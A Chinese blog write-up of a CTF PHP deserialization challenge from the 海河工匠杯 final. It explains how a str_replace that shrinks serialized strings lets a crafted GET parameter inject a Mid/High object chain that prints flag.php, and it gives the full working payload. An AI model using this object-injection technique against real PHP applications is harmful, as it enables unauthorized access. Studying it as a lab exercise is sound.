海河工匠杯决赛

一道字符串减少的反序列化题目,以前没有遇到过,结果在这里被制裁了,复现一下。增加姿势

注意吞掉这个词

题目


<?php @include 'common_ui.inc';?>
<?php
class Low{
    public $user1;
    public $user2;
    function __construct($a, $b){
        $this->user1 = $a;
        $this->user2 = $b;
    }
}

class Mid{
    public $mid;
    function __destruct(){
        $high = 'nice,'.$this->mid;
        echo $high;
    }
}

class High{
    public $high;
    function __toString(){
        //flag.php
        include "flag.php";
        if($this->high=='flag.php')
        {
            echo $flag;
            echo "<br/>";
        }
        return 'good job';
    }
}
if(isset($_GET['a'])&&isset($_GET['b']))
{
    $a = new Low($_GET['a'],$_GET['b']);
    $b = unserialize(str_replace('******', chr(0) . '$' , serialize($a)));
    echo "<br>";
}
else
{
    highlight_file("./test0.php");
}

?>

分析

可以发现,我们要想得到flag,靠的是High类的__toString()方法

class High{
    public $high;
    function __toString(){
        //flag.php
        include "flag.php";
        if($this->high=='flag.php')
        {
            echo $flag;
            echo "<br/>";
        }
        return 'good job';
    }
}

只要我们将$this->high变量在反序列化的时候赋值成flag.php时即可输出flag了。

要想调用__toString()方法,就得找到一个能将类High输出的地方。发现在这个地方

class Mid{
    public $mid;
    function __destruct(){
        $high = 'nice,'.$this->mid;
        echo $high;
    }
}

当我们把$this->mid在反序列化的时候赋值为new High()即可。

总体思路就这么简单,我们回到代码开始的地方

if(isset($_GET['a'])&&isset($_GET['b']))
{
    $a = new Low($_GET['a'],$_GET['b']);
    $b = unserialize(str_replace('******', chr(0) . '$' , serialize($a)));
    echo "<br>";
}
else
{
    highlight_file("./test0.php");
}

题目要求我们GET输入a和b的值,作为实例化Low这个对象的参数。

<?php
class Low{
    public $user1;
    public $user2;
    function __construct($a, $b){
        $this->user1 = $a;
        $this->user2 = $b;
    }
}

即赋值给user1和user2。

第二步在反序列化的时候会对序列化之后的字符串进行处理,将'******'替换为chr(0).'$'。注意

这里chr(0).'$'是两个字符,只是chr(0)不可见。

首先看看我们序列化字符串的样式

<?php
class Low{
    public $user1;
    public $user2;
    function __construct($a,$b){
        $this->user1 = $a;
        $this->user2 = $b;
    }
}

class Mid{
    public $mid;
    function __construct(){
        $this->mid=new High();
    }
}

class High{
    public $high;
    public function __construct(){
        $this->high='flag.php';
    }
}

if(isset($_GET['a'])&&isset($_GET['b']))
{
    $a = new Low($_GET['a'],$_GET['b']);
    echo serialize($a);
}
else
{
    highlight_file("./test0.php");
}

结果:

O:3:"Low":2:{s:5:"user1";s:9:"new Mid()";s:5:"user2";s:10:"new High()";}

可以看到,因为我们是通过$_GET输入的,所以输入的数据为字符串类型。我们能够控制的地方就是new Mid()和new High()两处。

而我们想要的序列化结果为:

这里因为是前面吞掉后面的字符,所以是将user2赋值为new Mid()

<?php
class Low{
    public $user1;
    public $user2;
    function __construct(){
        $this->user1 = 'xxx';
        $this->user2 = new Mid();
    }
}

class Mid{
    public $mid;
    function __construct(){
        $this->mid=new High();
    }
}

class High{
    public $high;
    public function __construct(){
        $this->high='flag.php';
    }
}

if(isset($_GET['a'])&&isset($_GET['b']))
{
    $a = new Low($_GET['a'],$_GET['b']);
    echo serialize($a);
}
else
{
    highlight_file("./test0.php");
}

结果:

O:3:"Low":2:{s:5:"user1";s:3:"xxx";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}

可以看到,我们将user2其中一个赋值为类Mid

即(重要代码,后面会用到)

s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}

那么就可以通过Mid的__construct()方法实例化类High,然后调用High的__destruct()方法,成功得到flag。

注意:前面为字符串,后面为对象时是有个分号;分开的。即s:3:"xxx"与s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}之间有个分号隔开的,所以待会处理的时候要注意

但是因为我们传入的数据会被作为字符串处理,没法直接传入上述数据。

<?php
class Low{
    public $user1;
    public $user2;
    function __construct($a,$b){
        $this->user1 = $a;
        $this->user2 = $b;
    }
}

class Mid{
    public $mid;
    function __construct(){
        $this->mid=new High();
    }
}

class High{
    public $high;
    public function __construct(){
        $this->high='flag.php';
    }
}

if(isset($_GET['a'])&&isset($_GET['b']))
{
    $a = new Low($_GET['a'],$_GET['b']);
    echo serialize($a);
}
else
{
    highlight_file("./test0.php");
}

 注意:因为前面说了两者之间有个;隔开,所以在给b传值时候需要在重要代码前加一个;

结果:

O:3:"Low":2:{s:5:"user1";s:3:"xxx";s:5:"user2";s:79:";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}

可以看见,传入的数据都作为字符串扩起来了

那么应该怎么做呢?吞掉

可以看见在反序列化之后还有一个字符串替换函数

str_replace('******', chr(0) . '$' , serialize($a))

这串代码,表示每6个*会替换成两个字符。那么就会吞掉后面4个字符

如果我们对a传入n个*,user1的结果就会变成

O:3:"Low":2:{s:5:"user1";s:n:"n个*";s:5:"user2";s:79:";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}

经过替换后,*的个数少于n,那么就会继续吞掉后面的字符,当到达一个程度后,会把后面的

";s:5:"user2";s:79:
//19个字符

19个字符全部吞掉,后面的一个"与前面的一个"形成闭合。剩下

;s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}

这样user2的结果就是一个Mid类了。

如何算需要多少个*呢?

我们这样想,每6个*替换成2两个字符,就会吞掉4个字符,总共需要吞掉19个字符,但是19除4是除不尽的,所以我们还要在给b传值时候在多加一个字符;因为需要再吞一个字符就会把后面的" 吞掉,为了闭合,我们多加一个" (以后推荐要多加字符的时候,全部用")

那么现在就需要吞掉20个字符了,每6个*替换成2两个字符,吞掉4个字符。6个*为一组,一组能吞掉4个字符,需要20➗4=5组,所以我们需要(20➗4)✖️6=5✖️6=30个*

payload:

GET:
?a=******************************&b=";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}

我们加上字符串替换函数看看:

<?php
class Low{
    public $user1;
    public $user2;
    function __construct($a,$b){
        $this->user1 = $a;
        $this->user2 = $b;
    }
}

class Mid{
    public $mid;
    function __construct(){
        $this->mid=new High();
    }
}

class High{
    public $high;
    public function __construct(){
        $this->high='flag.php';
    }
}

if(isset($_GET['a'])&&isset($_GET['b']))
{
    $a = new Low($_GET['a'],$_GET['b']);
    $b = unserialize(str_replace('******', chr(0) . '$' , serialize($a)));
    var_dump($b);
}
else
{
    highlight_file("./test0.php");
}

?>

传值:

GET:
?a=******************************&b=";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}

结果:

 

 成功将user2污染为Mid()类对象。

payload:

GET:
?a=******************************&b=";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}

结果:

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值